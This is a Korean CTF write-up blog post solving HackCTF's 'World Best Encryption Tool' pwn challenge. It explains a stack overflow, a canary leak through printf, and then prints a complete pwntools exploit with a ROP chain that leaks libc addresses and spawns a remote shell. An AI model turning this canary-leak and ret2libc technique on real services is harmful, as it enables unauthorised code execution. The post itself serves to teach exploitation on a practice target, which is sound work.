[HackCTF] World Best Encryption Tool
시작
안녕하세요 :D
오늘은 전역 D-100일입니다!!! 점점 끝이 보이네요.
이번에 푼 문제는 HackCTF의 마지막 350점짜리 문제에요.
오랜만에 canary leak을 해봤습니다. 시작해보죠!!
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/28.World_Best# ./World_best_encryption_tool
Your text)
aaaa
Encrypted text)
}}}}�]���c
]���cԽT^
Wanna encrypt other text? (Yes/No)
Yes
Your text)
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Encrypted text)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~bbbbbbb�uK=�]
Wanna encrypt other text? (Yes/No)
No
*** stack smashing detected ***: ./World_best_encryption_tool terminated
입력을 주면 얘가 암호화를 하네요. 그런데 끝 부분에 뭔가 leak 된듯 한 데이터가 딸려옵니다.
입력을 많이 주고 No를 입력하자 canary가 뻑났다는 에러가 뜨네요.
메인 함수를 보겠습니다.
0x000000000040076b <+68>: lea rax,[rbp-0x80]
0x000000000040076f <+72>: mov rsi,rax
0x0000000000400772 <+75>: lea rdi,[rip+0x19a] # 0x400913
0x0000000000400779 <+82>: mov eax,0x0
0x000000000040077e <+87>: call 0x400630 <__isoc99_scanf@plt>
rbp-0x80 위치에 scanf()로 입력받는 것을 볼 수 있어요.
0x0000000000400783 <+92>: mov DWORD PTR [rbp-0x88],0x0
0x000000000040078d <+102>: jmp 0x4007b4 <main+141>
0x000000000040078f <+104>: mov eax,DWORD PTR [rbp-0x88]
0x0000000000400795 <+110>: cdqe
0x0000000000400797 <+112>: movzx eax,BYTE PTR [rbp+rax*1-0x80]
0x000000000040079c <+117>: xor eax,0x1c
0x000000000040079f <+120>: mov edx,eax
0x00000000004007a1 <+122>: mov eax,DWORD PTR [rbp-0x88]
0x00000000004007a7 <+128>: cdqe
0x00000000004007a9 <+130>: mov BYTE PTR [rbp+rax*1-0x80],dl
0x00000000004007ad <+134>: add DWORD PTR [rbp-0x88],0x1
0x00000000004007b4 <+141>: mov eax,DWORD PTR [rbp-0x88]
0x00000000004007ba <+147>: cmp eax,0x31
0x00000000004007bd <+150>: jbe 0x40078f <main+104>
rbp-0x88을 int형 변수로 놓고, 0x31 값과 비교하며 반복문을 돌립니다. 여기서 암호화가 이루어지는 듯 해요.
0x00000000004007bf <+152>: lea rcx,[rbp-0x80]
0x00000000004007c3 <+156>: lea rax,[rbp-0x40]
0x00000000004007c7 <+160>: mov edx,0x39
0x00000000004007cc <+165>: mov rsi,rcx
0x00000000004007cf <+168>: mov rdi,rax
0x00000000004007d2 <+171>: call 0x4005d0 <strncpy@plt>
반복문이 종료된 후 rbp-0x80의 값을 rbp-0x40에 0x39 = 57 bytes 만큼 옮기네요.
이 이후는 rbp-0x40의 값을 printf()로 출력 후
Yes/No와 strcmp()를 하고 Yes일 땐 위로 올라갑니다. No일 땐 canary값 체크 후 프로그램이 종료돼요.
0x0000000000400868 <+321>: mov rcx,QWORD PTR [rbp-0x8]
0x000000000040086c <+325>: xor rcx,QWORD PTR fs:0x28
0x0000000000400875 <+334>: je 0x40087c <main+341>
0x0000000000400877 <+336>: call 0x4005f0 <__stack_chk_fail@plt>
0x000000000040087c <+341>: leave
0x000000000040087d <+342>: ret
Canary값 체크 루틴입니다. rbp-0x8에 canary를 넣어놨다는 것이 보이네요.
프로그램 자체는 굉장히 간단해요. canary값과 got를 leak할 수 있다면 libc-database를 통해 rop가 가능합니다.
먼저 canary를 뽑아볼게요.
두 가지 방법이 있는데, 하나는 feed me 문제에서 썼었던 브루트 포싱이고 나머지 하나는 printf() 함수를 이용해 NULL을 덮어서 출력에 딸려오게 하는거에요.
gdb-peda$ x/gx $rbp-0x8
0x7ffdcd38c208: 0x2bec7ceb5a7d0500
카나리 값은 다음과 같이 첫 바이트가 NULL이에요. 때문에 여기를 덮어주면 printf() 함수가 카나리까지 읽어오겠죠?
운이 좋게도 strncpy()는 rbp-0x40에 57 bytes를 복사해요. 때문에 딱 카나리의 첫 바이트까지 덮을 수 있습니다.
p.recvuntil("Your text)\n")
payload += "A" * 120
p.sendline(payload)
sleep(0.5)
canary = p.recv(1024)
canary = canary[73:80]
canary = int(canary[::-1].encode("hex"), 16) * 0x100
log.info("Canary = " + str(hex(canary)))
저는 이런 식으로 canary를 따왔어요. 첫 recv() 때 0x79 bytes를 받아오길래 위와 같이 파싱 후, ×0x100을 해서 원본 카나리를 따왔습니다.
[+] Opening connection to ctf.j0n9hyun.xyz on port 3027: Done
[DEBUG] Received 0xa bytes:
'Your text)'
[DEBUG] Received 0x1 bytes:
'\n'
[DEBUG] Sent 0x79 bytes:
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x77 bytes:
00000000 45 6e 63 72 79 70 74 65 64 20 74 65 78 74 29 0a │Encr│ypte│d te│xt)·│
00000010 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d │]]]]│]]]]│]]]]│]]]]│
*
00000040 5d 5d 41 41 41 41 41 41 41 18 61 5e b4 4c 55 7f │]]AA│AAAA│A·a^│·LU·│
00000050 80 08 40 0a 57 61 6e 6e 61 20 65 6e 63 72 79 70 │··@·│Wann│a en│cryp│
00000060 74 20 6f 74 68 65 72 20 74 65 78 74 3f 20 28 59 │t ot│her │text│? (Y│
00000070 65 73 2f 4e 6f 29 0a │es/N│o)·│
00000077
[*] Canary = 0x7f554cb45e611800
이렇게 leak이 성공해요 ㅎㅎ
이 이후는 쉽습니다. Yes를 줘서 아무 함수의 got값을 leak하고 libc-database를 이용해 offset을 구한 뒤
다시 main으로 돌아와 쉘을 따면 됩니다.
코드에요.
from pwn import *
#context.log_level = "debug"
#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
payload = ""
scanf_got = 0x601048
pop_rdi = 0x4008e3
pop_rsi_r15 = 0x4008e1
bss = 0x601060
main = 0x400727
puts_plt = 0x4005e0
p.recvuntil("Your text)\n")
payload += "A" * 120
p.sendline(payload)
sleep(0.5)
canary = p.recv(1024)
canary = canary[73:80]
canary = int(canary[::-1].encode("hex"), 16) * 0x100
log.info("Canary = " + str(hex(canary)))
p.sendline("Yes")
exploit = ""
exploit += "A" * 56
exploit += "\x00" # Don't break Canary !!
exploit += "A" * 63
exploit += p64(canary) # rbp-0x8
exploit += "B" * 8 # SFP
exploit += p64(pop_rdi)
exploit += p64(scanf_got)
exploit += p64(pop_rsi_r15)
exploit += p64(0)
exploit += p64(0)
exploit += p64(puts_plt)
exploit += p64(main)
p.recvuntil("Your text)\n")
p.sendline(exploit)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")
sleep(0.5)
scanf_addr = p.recv(1024)
scanf_addr = scanf_addr[:6]
scanf_addr = int(scanf_addr[::-1].encode("hex"), 16)
log.info("scanf_addr = " + str(hex(scanf_addr)))
system_addr = scanf_addr - 0x26140
binsh_addr = scanf_addr + 0x121887
pay = ""
pay += "A" * 56
pay += "\x00"
pay += "A" * 63
pay += p64(canary)
pay += "B" * 8
pay += p64(pop_rdi)
pay += p64(binsh_addr)
pay += p64(system_addr)
p.sendline(pay)
sleep(0.5)
p.recvuntil("Wanna encrypt other text? (Yes/No)\n")
p.sendline("No")
sleep(0.5)
p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3027: Done
[*] Canary = 0xb5602e49b276c100
[*] scanf_addr = 0x7f264d7444d0
[*] Switching to interactive mode
$ cat flag
// flag!!!
Exploit!!
마무리
사실 이 문제 풀 때 printf_got를 leak하려고 했는데 로컬에선 되는게 서버에선 안 되는 거에요…..
왜 leak이 안 되는건지 이유를 몰라서 답답했는데 scanf_got로 바꾸니깐 바로 풀렸습니다.. 허무..
재밌는 문제 풀었습니다!! 감사합니다 :D